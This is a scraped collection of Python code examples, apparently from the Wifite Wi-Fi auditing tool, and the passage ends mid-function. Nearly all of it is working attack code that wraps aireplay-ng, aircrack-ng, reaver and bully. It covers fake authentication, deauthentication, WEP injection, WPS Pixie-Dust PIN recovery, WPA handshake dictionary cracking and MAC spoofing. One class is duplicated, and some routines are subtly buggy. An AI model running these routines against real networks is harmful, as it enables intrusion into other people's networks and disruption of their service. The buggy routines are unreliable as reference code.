Пример #1
0
    def fakeauth(target, timeout=5, num_attempts=3):
        '''
        Tries a one-time fake-authenticate with a target AP.
        Params:
            target (py.Target): Instance of py.Target
            timeout (int): Time to wait for fakeuth to succeed.
            num_attempts (int): Number of fakeauth attempts to make.
        Returns:
            (bool): True if fakeauth succeeds, otherwise False
        '''

        cmd = [
            'aireplay-ng',
            '-1',
            '0',  # Fake auth, no delay
            '-a',
            target.bssid,
            '-T',
            str(num_attempts)
        ]
        if target.essid_known:
            cmd.extend(['-e', target.essid])
        cmd.append(Configuration.interface)
        fakeauth_proc = Process(cmd, devnull=False, cwd=Configuration.temp())

        timer = Timer(timeout)
        while fakeauth_proc.poll() is None and not timer.ended():
            time.sleep(0.1)
        if fakeauth_proc.poll() is None or timer.ended():
            fakeauth_proc.interrupt()
            return False
        output = fakeauth_proc.stdout()
        return 'association successful' in output.lower()
Пример #2
0
    def start_network_manager():
        Color.p("{!} {O}restarting {R}NetworkManager{O}...")

        if Process.exists('service'):
            cmd = 'service network-manager start'
            proc = Process(cmd)
            (out, err) = proc.get_output()
            if proc.poll() != 0:
                Color.pl(" {R}Error executing {O}%s{W}" % cmd)
                if out is not None and out.strip() != "":
                    Color.pl("{!} {O}STDOUT> %s{W}" % out)
                if err is not None and err.strip() != "":
                    Color.pl("{!} {O}STDERR> %s{W}" % err)
            else:
                Color.pl(" {G}done{W} ({C}%s{W})" % cmd)
                return

        if Process.exists('systemctl'):
            cmd = 'systemctl start NetworkManager'
            proc = Process(cmd)
            (out, err) = proc.get_output()
            if proc.poll() != 0:
                Color.pl(" {R}Error executing {O}%s{W}" % cmd)
                if out is not None and out.strip() != "":
                    Color.pl("{!} {O}STDOUT> %s{W}" % out)
                if err is not None and err.strip() != "":
                    Color.pl("{!} {O}STDERR> %s{W}" % err)
            else:
                Color.pl(" {G}done{W} ({C}%s{W})" % cmd)
                return
        else:
            Color.pl(
                " {R}can't restart NetworkManager: {O}systemctl{R} or {O}service{R} not found{W}"
            )
Пример #3
0
class Aircrack(object):
    def __init__(self, ivs_file=None):

        self.cracked_file = Configuration.temp() + 'wepkey.txt'

        # Delete previous cracked files
        if os.path.exists(self.cracked_file):
            os.remove(self.cracked_file)

        command = ['aircrack-ng', '-a', '1', '-l', self.cracked_file, ivs_file]

        self.pid = Process(command, devnull=True)

    def is_running(self):
        return self.pid.poll() == None

    def is_cracked(self):
        return os.path.exists(self.cracked_file)

    def stop(self):
        ''' Stops aircrack process '''
        if self.pid.poll() == None:
            self.pid.interrupt()

    def get_key_hex_ascii(self):
        if not self.is_cracked():
            raise Exception('Cracked file not found')
        f = open(self.cracked_file, 'r')
        hex_raw = f.read()
        f.close()

        hex_key = ''
        ascii_key = ''
        while len(hex_raw) > 0:
            # HEX
            if hex_key != '':
                hex_key += ':'
            hex_key += hex_raw[0:2]

            # ASCII
            # Convert hex to decimal
            code = int(hex_raw[0:2], 16)
            if code < 32 or code > 127:
                # Hex key is non-printable in ascii
                ascii_key = None
                continue
            elif ascii_key == None:
                # We can't generate an Ascii key
                continue
            # Convert decimal to char
            ascii_key += chr(code)

            # Trim first two characters
            hex_raw = hex_raw[2:]
            continue

        return (hex_key, ascii_key)
Пример #4
0
    def check_for_wps_and_update_targets(capfile, targets):
        '''
            Given a cap file and list of targets, use Wash to
            find which BSSIDs in the cap file use WPS.
            Then update the 'wps' flag for those BSSIDs in the targets.

            Args:
                capfile - .cap file from airodump containing packets
                targets - list of Targets from scan, to be updated
        '''
        # Wash/Walsh is required to detect WPS
        wash_name = 'wash'
        if not Process.exists(wash_name):
            wash_name = 'walsh'
            if not Process.exists(wash_name):
                # Wash isn't found, drop out
                return

        command = [
            'wash',
            '-f', capfile # Path to cap file
        ]
        p = Process(command)

        p.wait()
        if p.poll() != 0:
            return

        bssids = [bssid.upper() for bssid in Wash.BSSID_REGEX.findall(p.stdout())]
        for t in targets:
            t.wps = t.bssid.upper() in bssids
Пример #5
0
 def deauth(target_bssid,
            essid=None,
            client_mac=None,
            num_deauths=None,
            timeout=2):
     num_deauths = num_deauths or Configuration.num_deauths
     deauth_cmd = [
         "aireplay-ng",
         "-0",  # Deauthentication
         str(num_deauths),
         "--ignore-negative-one",
         "-a",
         target_bssid,  # Target AP
         "-D"  # Skip AP detection
     ]
     if client_mac is not None:
         # Station-specific deauth
         deauth_cmd.extend(["-c", client_mac])
     if essid:
         deauth_cmd.extend(["-e", essid])
     deauth_cmd.append(Configuration.interface)
     proc = Process(deauth_cmd)
     while proc.poll() is None:
         if proc.running_time() >= timeout:
             proc.interrupt()
         time.sleep(0.2)
Пример #6
0
    def down_macch_up(cls, macch_option):
        cls.init()
        from Process import Process
        from Configuration import Configuration
        iface = Configuration.interface

        cmd = ["ifconfig", iface, "down"]
        Color.clear_entire_line()
        Color.p("\r{+} {C}macchanger{W}: Taking interface {C}%s{W} down..." %
                iface)
        ifdown = Process(cmd)
        ifdown.wait()
        if ifdown.poll() != 0:
            Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
            Color.pl("{!} Output: %s, %s" % (ifdown.stdout(), ifdown.stderr()))
            return False

        cmd = ["macchanger", macch_option, iface]
        Color.clear_entire_line()
        Color.p(
            "\r{+} {C}macchanger{W}: Changing MAC address of interface {C}%s{W}..."
            % iface)
        macch = Process(cmd)
        macch.wait()
        if macch.poll() != 0:
            Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
            Color.pl("{!} Output: %s, %s" % (macch.stdout(), macch.stderr()))
            return False

        cmd = ["ifconfig", iface, "up"]
        Color.clear_entire_line()
        Color.p("\r{+} {C}macchanger{W}: Bringing interface {C}%s{W} up..." %
                iface)
        ifup = Process(cmd)
        ifup.wait()
        if ifup.poll() != 0:
            Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
            Color.pl("{!} Output: %s, %s" % (ifup.stdout(), ifup.stderr()))
            return False
        return True
Пример #7
0
    def run_pixiedust_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)

        command = [
            'reaver',
            '--interface',
            Configuration.interface,
            '--bssid',
            self.target.bssid,
            '--channel',
            self.target.channel,
            '--pixie-dust',
            '1',  # pixie-dust attack
            #'--delay', '0',
            #'--no-nacks',
            '--session',
            '/dev/null',  # Don't restart session
            '-vv'  # (very) verbose
        ]
        stdout_write = open(self.stdout_file, 'a')
        reaver = Process(command,
                         stdout=stdout_write,
                         stderr=Process.devnull())

        pin = None
        step = 'initializing'
        time_since_last_step = 0

        with Airodump(channel=self.target.channel,
                      target_bssid=self.target.bssid,
                      skip_wash=True,
                      output_file_prefix='pixie') as airodump:

            Color.clear_line()
            Color.pattack("WPS", self.target, "Pixie Dust",
                          "Waiting for target to appear...")

            while True:
                try:
                    airodump_target = self.wait_for_target(airodump)
                except Exception as e:
                    Color.pattack("WPS", self.target, "Pixie-Dust",
                                  "{R}failed: {O}%s{W}" % e)
                    Color.pl("")
                    return False

                stdout_write.flush()

                # Check output from reaver process
                stdout = self.get_stdout()
                stdout_last_line = stdout.split('\n')[-1]

                (pin, psk, ssid) = self.get_pin_psk_ssid(stdout)

                # Check if we cracked it, or if process stopped.
                if (pin and psk and ssid) or reaver.poll() != None:
                    reaver.interrupt()

                    # Check one-last-time for PIN/PSK/SSID, in case of race condition.
                    stdout = self.get_stdout()
                    (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)

                    # Check if we cracked it.
                    if pin and psk and ssid:
                        # We cracked it.
                        bssid = self.target.bssid
                        Color.clear_line()
                        Color.pattack(
                            "WPS", airodump_target, "Pixie-Dust",
                            "{G}successfully cracked WPS PIN and PSK{W}\n")
                        self.crack_result = CrackResultWPS(
                            bssid, ssid, pin, psk)
                        self.crack_result.dump()
                        return True
                    else:
                        # Failed to crack, reaver proces ended.
                        Color.clear_line()
                        Color.pattack("WPS", airodump_target, "Pixie-Dust",
                                      "{R}Failed: {O}WPS PIN not found{W}\n")
                        return False

                if 'WPS pin not found' in stdout:
                    Color.pl('{R}failed: {O}WPS pin not found{W}')
                    break

                last_step = step
                # Status updates, depending on last line of stdout
                if 'Waiting for beacon from' in stdout_last_line:
                    step = '({C}step 1/8{W}) waiting for beacon'
                elif 'Associated with' in stdout_last_line:
                    step = '({C}step 2/8{W}) waiting to start session'
                elif 'Starting Cracking Session.' in stdout_last_line:
                    step = '({C}step 3/8{W}) waiting to try pin'
                elif 'Trying pin' in stdout_last_line:
                    step = '({C}step 4/8{W}) trying pin'
                elif 'Sending EAPOL START request' in stdout_last_line:
                    step = '({C}step 5/8{W}) sending eapol start request'
                elif 'Sending identity response' in stdout_last_line:
                    step = '({C}step 6/8{W}) sending identity response'
                elif 'Sending M2 message' in stdout_last_line:
                    step = '({C}step 7/8{W}) sending m2 message (may take a while)'
                elif 'Detected AP rate limiting,' in stdout_last_line:
                    if Configuration.wps_skip_rate_limit:
                        Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
                        Color.pl(
                            '{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
                            ' this kind of failure in the future{W}')
                        break
                    step = '({C}step -/8{W}) waiting for AP rate limit'

                if step != last_step:
                    # Step changed, reset step timer
                    time_since_last_step = 0
                else:
                    time_since_last_step += 1

                if time_since_last_step > Configuration.wps_pixie_step_timeout:
                    Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' %
                             Configuration.wps_pixie_step_timeout)
                    break

                # TODO: Timeout check
                if reaver.running_time() > Configuration.wps_pixie_timeout:
                    Color.pl('{R}failed: {O}timeout after %d seconds{W}' %
                             Configuration.wps_pixie_timeout)
                    break

                # Reaver Failure/Timeout check
                fail_count = stdout.count('WPS transaction failed')
                if fail_count > Configuration.wps_fail_threshold:
                    Color.pl('{R}failed: {O}too many failures (%d){W}' %
                             fail_count)
                    break
                timeout_count = stdout.count('Receive timeout occurred')
                if timeout_count > Configuration.wps_timeout_threshold:
                    Color.pl('{R}failed: {O}too many timeouts (%d){W}' %
                             timeout_count)
                    break

                Color.clear_line()
                Color.pattack("WPS", airodump_target, "Pixie-Dust", step)

                time.sleep(1)
                continue

        # Attack failed, already printed reason why
        reaver.interrupt()
        stdout_write.close()
        return False
Пример #8
0
class Aircrack(object):
    def __init__(self, ivs_file=None):
        
        self.cracked_file = Configuration.temp() + 'wepkey.txt'

        # Delete previous cracked files
        if os.path.exists(self.cracked_file):
            os.remove(self.cracked_file)

        command = [
            'aircrack-ng',
            '-a', '1',
            '-l', self.cracked_file,
            ivs_file
        ]

        self.pid = Process(command, devnull=True)


    def is_running(self):
        return self.pid.poll() == None

    def is_cracked(self):
        return os.path.exists(self.cracked_file)

    def stop(self):
        ''' Stops aircrack process '''
        if self.pid.poll() == None:
            self.pid.interrupt()

    def get_key_hex_ascii(self):
        if not self.is_cracked():
            raise Exception('Cracked file not found')
        f = open(self.cracked_file, 'r')
        hex_raw = f.read()
        f.close()

        hex_key = ''
        ascii_key = ''
        while len(hex_raw) > 0:
            # HEX
            if hex_key != '':
                hex_key += ':'
            hex_key += hex_raw[0:2]

            # ASCII
            # Convert hex to decimal
            code = int(hex_raw[0:2], 16)
            if code < 32 or code > 127:
                # Hex key is non-printable in ascii
                ascii_key = None
                continue
            elif ascii_key == None:
                # We can't generate an Ascii key
                continue
            # Convert decimal to char
            ascii_key += chr(code)

            # Trim first two characters
            hex_raw = hex_raw[2:]
            continue

        return (hex_key, ascii_key)
Пример #9
0
class Bully(Attack):
    def __init__(self, target):
        super(Bully, self).__init__(target)
        self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0
        self.pins_attempted = 0
        self.state = "{O}Waiting for beacon{W}"
        self.m_state = None
        self.start_time = time.time()

        self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
        self.crack_result = None

        self.target = target

        self.cmd = [
            "stdbuf",
            "-o0",  # No buffer. See https://stackoverflow.com/a/40453613/7510292
            "bully",
            "--bssid",
            target.bssid,
            "--channel",
            target.channel,
            "--detectlock",  # Detect WPS lockouts unreported by AP
            "--force",
            "-v",
            "4",
            "--pixiewps",
            Configuration.interface
        ]

        self.bully_proc = None

    def attack_type(self):
        return "Pixie-Dust"

    def run(self):
        with Airodump(channel=self.target.channel,
                      target_bssid=self.target.bssid,
                      skip_wps=True,
                      output_file_prefix='wps_pin') as airodump:
            # Wait for target
            Color.clear_entire_line()
            Color.pattack("WPS", self.target, self.attack_type(),
                          "Waiting for target to appear...")
            self.target = self.wait_for_target(airodump)

            # Start bully
            self.bully_proc = Process(self.cmd,
                                      stderr=Process.devnull(),
                                      bufsize=0,
                                      cwd=Configuration.temp())
            t = Thread(target=self.parse_line_thread)
            t.daemon = True
            t.start()
            try:
                while self.bully_proc.poll() is None:
                    try:
                        self.target = self.wait_for_target(airodump)
                    except Exception as e:
                        Color.clear_entire_line()
                        Color.pattack("WPS", self.target, self.attack_type(),
                                      "{R}failed: {O}%s{W}" % e)
                        Color.pl("")
                        self.stop()
                        break
                    Color.clear_entire_line()
                    Color.pattack("WPS", self.target, self.attack_type(),
                                  self.get_status())
                    time.sleep(0.5)
            except KeyboardInterrupt as e:
                self.stop()
                raise e
            except Exception as e:
                self.stop()
                raise e

        if self.crack_result is None:
            Color.clear_entire_line()
            Color.pattack("WPS", self.target, self.attack_type(),
                          "{R}Failed{W}\n")

    def running_time(self):
        return int(time.time() - self.start_time)

    def get_status(self):
        result = self.state
        result += " ({C}runtime:%s{W}" % Timer.secs_to_str(self.running_time())
        result += " {G}tries:%d{W}" % self.pins_attempted
        result += " {O}failures:%d{W}" % (self.consecutive_timeouts +
                                          self.consecutive_noassoc)
        result += " {R}lockouts:%d{W}" % self.consecutive_lockouts
        result += ")"
        return result

    def parse_line_thread(self):
        for line in iter(self.bully_proc.pid.stdout.readline, b""):
            if line == "": continue
            line = line.replace("\r", "").replace("\n", "").strip()
            if self.parse_line(line): break  # Cracked

    def parse_line(self, line):
        # [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
        got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
        if got_beacon:
            # group(1)=ESSID, group(2)=BSSID
            self.state = "Got beacon"

        # [+] Last State = 'NoAssoc'   Next pin '48855501'
        last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'",
                               line)
        if last_state:
            # group(1)=result, group(2)=PIN
            result = "Start"  # last_state.group(1)
            pin = last_state.group(2)
            self.state = "Trying PIN:{C}%s{W}" % pin

        # [+] Rx(  M5  ) = 'Pin1Bad'   Next pin '35565505'
        # [+] Tx( Auth ) = 'Timeout'   Next pin '80241263'
        rx_m = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'",
                         line)
        if rx_m:
            # group(1)=M3/M5, group(2)=result, group(3)=PIN
            self.m_state = rx_m.group(1)
            result = rx_m.group(2)  # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
            if result in ["Pin1Bad", "Pin2Bad"]:
                self.pins_attempted += 1
                self.consecutive_lockouts = 0  # Reset lockout count
                self.consecutive_timeouts = 0  # Reset timeout count
                self.consecutive_noassoc = 0  # Reset timeout count
                result = "{G}%s{W}" % result
            elif result == "Timeout":
                self.consecutive_timeouts += 1
                result = "{O}%s{W}" % result
            elif result == "NoAssoc":
                self.consecutive_noassoc += 1
                result = "{O}%s{W}" % result
            else:
                result = "{R}%s{W}" % result
            pin = rx_m.group(3)
            self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result)

        # [!] WPS lockout reported, sleeping for 43 seconds ...
        lock_out = re.search(
            r".*WPS lockout reported, sleeping for (\d+) seconds", line)
        if lock_out:
            sleeping = lock_out.group(1)
            self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
            self.consecutive_lockouts += 1

        # [Pixie-Dust] WPS pin not found
        pixie_re = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
        if pixie_re:
            self.state = "{R}Failed{W}"

        # [+] Running pixiewps with the information, wait ...
        pixie_re = re.search(r".*Running pixiewps with the information", line)
        if pixie_re:
            self.state = "{G}Running pixiewps...{W}"

        # [*] Pin is '80246213', key is 'password'
        # [*] Pin is '11867722', key is '9a6f7997'
        pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line)
        if pin_key_re:
            self.cracked_pin = pin_key_re.group(1)
            self.cracked_key = pin_key_re.group(2)

        #        PIN   : '80246213'
        pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line)
        if pin_re:
            self.cracked_pin = pin_re.group(1)

        #        KEY   : 'password'
        key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
        if key_re:
            self.cracked_key = key_re.group(1)

        #warn_re = re.search(r"\[\!\]\s*(.*)$", line)
        #if warn_re: self.state = "{O}%s{W}" % warn_re.group(1)

        if not self.crack_result and self.cracked_pin and self.cracked_key:
            Color.clear_entire_line()
            Color.pattack("WPS", self.target, "Pixie-Dust",
                          "{G}successfully cracked WPS PIN and PSK{W}")
            Color.pl("")
            self.crack_result = CrackResultWPS(self.target.bssid,
                                               self.target.essid,
                                               self.cracked_pin,
                                               self.cracked_key)
            Color.pl("")
            self.crack_result.dump()
            return True
        else:
            return False

    def stop(self):
        if hasattr(self, "pid") and self.pid and self.pid.poll() is None:
            self.pid.interrupt()

    def __del__(self):
        self.stop()
Пример #10
0
    def crack_handshake(self, handshake, wordlist):
        '''Tries to crack a handshake. Returns WPA key if found, otherwise None.'''
        if wordlist is None:
            Color.pl("{!} {O}Not cracking handshake because" +
                     " wordlist ({R}--dict{O}) is not set")
            return None
        elif not os.path.exists(wordlist):
            Color.pl("{!} {O}Not cracking handshake because" +
                     " wordlist {R}%s{O} was not found" % wordlist)
            return None

        Color.pl("\n{+} {C}Cracking WPA Handshake:{W} Using {C}aircrack-ng{W} via" +
                " {C}%s{W} wordlist" % os.path.split(wordlist)[-1])

        key_file = Configuration.temp('wpakey.txt')
        command = [
            "aircrack-ng",
            "-a", "2",
            "-w", wordlist,
            "--bssid", handshake.bssid,
            "-l", key_file,
            handshake.capfile
        ]
        crack_proc = Process(command)

        # Report progress of cracking
        aircrack_nums_re = re.compile(r"(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s")
        aircrack_key_re  = re.compile(r"Current passphrase:\s*([^\s].*[^\s])\s*$")
        num_tried = num_total = 0
        percent = num_kps = 0.0
        eta_str = "unknown"
        current_key = ''
        while crack_proc.poll() is None:
            line = crack_proc.pid.stdout.readline()
            match_nums = aircrack_nums_re.search(line)
            match_keys = aircrack_key_re.search(line)
            if match_nums:
                num_tried = int(match_nums.group(1))
                num_total = int(match_nums.group(2))
                num_kps = float(match_nums.group(3))
                eta_seconds = (num_total - num_tried) / num_kps
                eta_str = Timer.secs_to_str(eta_seconds)
                percent = 100.0 * float(num_tried) / float(num_total)
            elif match_keys:
                current_key = match_keys.group(1)
            else:
                continue

            status = "\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}" % percent
            status += " ETA: {C}%s{W}" % eta_str
            status += " @ {C}%0.1fkps{W}" % num_kps
            #status += " ({C}%d{W}/{C}%d{W} keys)" % (num_tried, num_total)
            status += " (current key: {C}%s{W})" % current_key
            Color.clear_entire_line()
            Color.p(status)

        Color.pl("")
        # Check crack result
        if os.path.exists(key_file):
            with open(key_file, "r") as fid:
                key = fid.read().strip()
            os.remove(key_file)

            Color.pl("{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n" % key)
            return key
        else:
            Color.pl("{!} {R}Failed to crack handshake:" +
                     " {O}%s{R} did not contain password{W}" % wordlist.split(os.sep)[-1])
            return None
Пример #11
0
class Aireplay(object):
    def __init__(self, target, attack_type, client_mac=None, replay_file=None):
        '''
            Starts aireplay process.
            Args:
                target - Instance of Target object, AP to attack.
                attack_type - int, str, or WEPAttackType instance.
                client_mac - MAC address of an associated client.
        '''
        cmd = Aireplay.get_aireplay_command(target,
                                            attack_type,
                                            client_mac=client_mac,
                                            replay_file=replay_file)

        # TODO: set 'stdout' when creating process to store output to file.
        # AttackWEP will read file to get status of attack.
        # E.g., chopchop will regex "(\d+)% done" to get percent complete.
        '''
        from subprocess import PIPE
        sout = PIPE
        if '--chopchop' in cmd:
            sout = open(Configuration.temp('chopchop'), 'w')
        '''

        self.pid = Process(cmd,
                           devnull=False,
                           cwd=Configuration.temp())

    def is_running(self):
        return self.pid.poll() == None

    def stop(self):
        ''' Stops aireplay process '''
        if self.pid and self.pid.poll() != None:
            self.pid.interrupt()

    def get_output(self):
        ''' Returns stdout from aireplay process '''
        return self.pid.stdout()

    @staticmethod
    def get_aireplay_command(target, attack_type,
                             client_mac=None, replay_file=None):
        '''
            Generates aireplay command based on target and attack type
            Args:
                target      - Instance of Target object, AP to attack.
                attack_type - int, str, or WEPAttackType instance.
                client_mac  - MAC address of an associated client.
                replay_file - .Cap file to replay via --arpreplay
        '''

        # Interface is required at this point
        Configuration.initialize()
        if Configuration.interface == None:
            raise Exception("Wireless interface must be defined (-i)")
            
        cmd = ['aireplay-ng']
        cmd.append('--ignore-negative-one')

        if not client_mac and len(target.clients) > 0:
            # Client MAC wasn't specified, but there's an associated client. Use that.
            client_mac = target.clients[0].station

        # type(attack_type) might be str, int, or WEPAttackType.
        # Find the appropriate attack enum.
        attack_type = WEPAttackType(attack_type).value

        if attack_type == WEPAttackType.fakeauth:
            cmd.extend(['-1', '0']) # Fake auth, no delay
            cmd.extend(['-a', target.bssid])
            cmd.extend(['-T', '3']) # Make 3 attempts
            if target.essid_known:
                cmd.extend(['-e', target.essid])
            # Do not specify client MAC address,
            # we're trying to fake-authenticate using *our* MAC

        elif attack_type == WEPAttackType.replay:
            cmd.append('--arpreplay')
            cmd.extend(['-b', target.bssid])
            cmd.extend(['-x', str(Configuration.wep_pps)])
            if client_mac:
                cmd.extend(['-h', client_mac])

        elif attack_type == WEPAttackType.chopchop:
            cmd.append('--chopchop')
            cmd.extend(['-b', target.bssid])
            cmd.extend(['-x', str(Configuration.wep_pps)])
            cmd.extend(['-m', '60']) # Minimum packet length (bytes)
            cmd.extend(['-n', '82']) # Maximum packet length
            cmd.extend(['-F'])       # Automatically choose first packet
            if client_mac:
                cmd.extend(['-h', client_mac])

        elif attack_type == WEPAttackType.fragment:
            cmd.append('--fragment')
            cmd.extend(['-b', target.bssid])
            cmd.extend(['-x', str(Configuration.wep_pps)])
            cmd.extend(['-m', '100']) # Minimum packet length (bytes)
            cmd.extend(['-F'])       # Automatically choose first packet
            if client_mac:
                cmd.extend(['-h', client_mac])

        elif attack_type == WEPAttackType.caffelatte:
            cmd.append('--caffe-latte')
            cmd.extend(['-b', target.bssid])
            if client_mac:
                cmd.extend(['-h', client_mac])

        elif attack_type == WEPAttackType.p0841:
            cmd.append('--interactive')
            cmd.extend(['-b', target.bssid])
            cmd.extend(['-c', 'ff:ff:ff:ff:ff:ff'])
            cmd.extend(['-t', '1'])
            cmd.extend(['-x', str(Configuration.wep_pps)])
            cmd.extend(['-F']) # Automatically choose first packet
            cmd.extend(['-p', '0841'])
            if client_mac:
                cmd.extend(['-h', client_mac])

        elif attack_type == WEPAttackType.hirte:
            if client_mac == None:
                # Unable to carry out hirte attack
                raise Exception("Client is required for hirte attack")
            cmd.append('--cfrag')
            cmd.extend(['-h', client_mac])
        elif attack_type == WEPAttackType.forgedreplay:
            if client_mac == None or replay_file == None:
                raise Exception(
                    "Client_mac and Replay_File are required for arp replay")
            cmd.append('--arpreplay')
            cmd.extend(['-b', target.bssid])
            cmd.extend(['-r', replay_file])
            cmd.extend(['-F']) # Automatically choose first packet
            cmd.extend(['-x', str(Configuration.wep_pps)])
        else:
            raise Exception("Unexpected attack type: %s" % attack_type)

        cmd.append(Configuration.interface)
        return cmd

    @staticmethod
    def get_xor():
        ''' Finds the last .xor file in the directory '''
        xor = None
        for fil in os.listdir(Configuration.temp()):
            if fil.startswith('replay_') and fil.endswith('.xor'):
                xor = fil
        return xor

    @staticmethod
    def forge_packet(xor_file, bssid, station_mac):
        ''' Forges packet from .xor file '''
        forged_file = 'forged.cap'
        cmd = [
            'packetforge-ng',
            '-0',
            '-a', bssid,           # Target MAC
            '-h', station_mac,     # Client MAC
            '-k', '192.168.1.2',   # Dest IP
            '-l', '192.168.1.100', # Source IP
            '-y', xor_file,        # Read PRNG from .xor file
            '-w', forged_file,     # Write to
            Configuration.interface
        ]

        cmd = '"%s"' % '" "'.join(cmd)
        (out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True)
        if out.strip() == 'Wrote packet to: %s' % forged_file:
            return forged_file
        else:
            from Color import Color
            Color.pl('{!} {R}failed to forge packet from .xor file{W}')
            Color.pl('output:\n"%s"' % out)
            return None
Пример #12
0
class Airodump(object):
    ''' Wrapper around airodump-ng program '''

    def __init__(self, interface=None, channel=None, encryption=None,\
                       wps=False, target_bssid=None, output_file_prefix='airodump',\
                       ivs_only=False, skip_wps=False):
        '''
            Sets up airodump arguments, doesn't start process yet
        '''

        Configuration.initialize()

        if interface is None:
            interface = Configuration.interface
        if interface is None:
            raise Exception("Wireless interface must be defined (-i)")
        self.interface = interface

        self.targets = []

        if channel is None:
            channel = Configuration.target_channel
        self.channel = channel
        self.five_ghz = Configuration.five_ghz

        self.encryption = encryption
        self.wps = wps

        self.target_bssid = target_bssid
        self.output_file_prefix = output_file_prefix
        self.ivs_only = ivs_only
        self.skip_wps = skip_wps

        # For tracking decloaked APs (previously were hidden)
        self.decloaking = False
        self.decloaked_targets = []
        self.decloaked_times = {
        }  # Map of BSSID(str) -> epoch(int) of last deauth

    def __enter__(self):
        '''
            Setting things up for this context.
            Called at start of 'with Airodump(...) as x:'
            Actually starts the airodump process.
        '''
        self.delete_airodump_temp_files()

        self.csv_file_prefix = Configuration.temp() + self.output_file_prefix

        # Build the command
        command = [
            'airodump-ng',
            self.interface,
            '-a',  # Only show associated clients
            '-w',
            self.csv_file_prefix,  # Output file prefix
            '--write-interval',
            '1'  # Write every second
        ]
        if self.channel:
            command.extend(['-c', str(self.channel)])
        elif self.five_ghz:
            command.extend(['--band', 'a'])

        if self.encryption:
            command.extend(['--enc', self.encryption])
        if self.wps:
            command.extend(['--wps'])
        if self.target_bssid:
            command.extend(['--bssid', self.target_bssid])

        if self.ivs_only:
            command.extend(['--output-format', 'ivs,csv'])
        else:
            command.extend(['--output-format', 'pcap,csv'])

        # Start the process
        self.pid = Process(command, devnull=True)
        return self

    def __exit__(self, type, value, traceback):
        '''
            Tearing things down since the context is being exited.
            Called after 'with Airodump(...)' goes out of scope.
        '''
        # Kill the process
        self.pid.interrupt()

        # Delete temp files
        self.delete_airodump_temp_files()

    def find_files(self, endswith=None):
        ''' Finds all files in the temp directory that start with the output_file_prefix '''
        result = []
        for fil in os.listdir(Configuration.temp()):
            if fil.startswith(self.output_file_prefix):
                if not endswith or fil.endswith(endswith):
                    result.append(Configuration.temp() + fil)
        return result

    def delete_airodump_temp_files(self):
        '''
            Deletes airodump* files in the temp directory.
            Also deletes replay_*.cap and *.xor files in pwd.
        '''
        # Remove all temp files
        for fil in self.find_files():
            os.remove(fil)

        # Remove .cap and .xor files from pwd
        for fil in os.listdir('.'):
            if fil.startswith('replay_') and fil.endswith(
                    '.cap') or fil.endswith('.xor'):
                os.remove(fil)

    def get_targets(self, apply_filter=True):
        ''' Parses airodump's CSV file, returns list of Targets '''

        # Find the .CSV file
        csv_filename = None
        for fil in self.find_files(endswith='-01.csv'):
            # Found the file
            csv_filename = fil
            break
        if csv_filename is None or not os.path.exists(csv_filename):
            # No file found
            return self.targets

        # Parse the .CSV file
        targets = Airodump.get_targets_from_csv(csv_filename)

        # Check targets for WPS
        if not self.skip_wps:
            capfile = csv_filename[:-3] + 'cap'
            Tshark.check_for_wps_and_update_targets(capfile, targets)

        if apply_filter:
            # Filter targets based on encryption & WPS capability
            targets = Airodump.filter_targets(targets, skip_wps=self.skip_wps)

        # Sort by power
        targets.sort(key=lambda x: x.power, reverse=True)

        for old_target in self.targets:
            for new_target in targets:
                if old_target.bssid != new_target.bssid: continue
                if new_target.essid_known and not old_target.essid_known:
                    # We decloaked a target!
                    self.decloaked_targets.append(new_target)

        if self.pid.poll() is not None:
            raise Exception('Airodump has stopped')

        self.targets = targets
        self.deauth_hidden_targets()

        return self.targets

    @staticmethod
    def get_targets_from_csv(csv_filename):
        '''
            Returns list of Target objects parsed from CSV file
        '''
        targets = []
        import csv
        with open(csv_filename, 'rb') as csvopen:
            lines = (line.replace('\0', '') for line in csvopen)
            csv_reader = csv.reader(lines, delimiter=',')
            hit_clients = False
            for row in csv_reader:
                # Each "row" is a list of fields for a target/client

                if len(row) == 0: continue

                if row[0].strip() == 'BSSID':
                    # This is the "header" for the list of Targets
                    hit_clients = False
                    continue

                elif row[0].strip() == 'Station MAC':
                    # This is the "header" for the list of Clients
                    hit_clients = True
                    continue

                if hit_clients:
                    # The current row corresponds to a "Client" (computer)
                    try:
                        client = Client(row)
                    except (IndexError, ValueError) as e:
                        # Skip if we can't parse the client row
                        continue

                    if 'not associated' in client.bssid:
                        # Ignore unassociated clients
                        continue

                    # Add this client to the appropriate Target
                    for t in targets:
                        if t.bssid == client.bssid:
                            t.clients.append(client)
                            break

                else:
                    # The current row corresponds to a "Target" (router)
                    try:
                        target = Target(row)
                        targets.append(target)
                    except Exception:
                        continue

        return targets

    @staticmethod
    def filter_targets(targets, skip_wps=False):
        ''' Filters targets based on Configuration '''
        result = []
        # Filter based on Encryption
        for target in targets:
            if 'WEP' in Configuration.encryption_filter and 'WEP' in target.encryption:
                result.append(target)
            elif 'WPA' in Configuration.encryption_filter and 'WPA' in target.encryption:
                result.append(target)
            elif 'WPS' in Configuration.encryption_filter and target.wps:
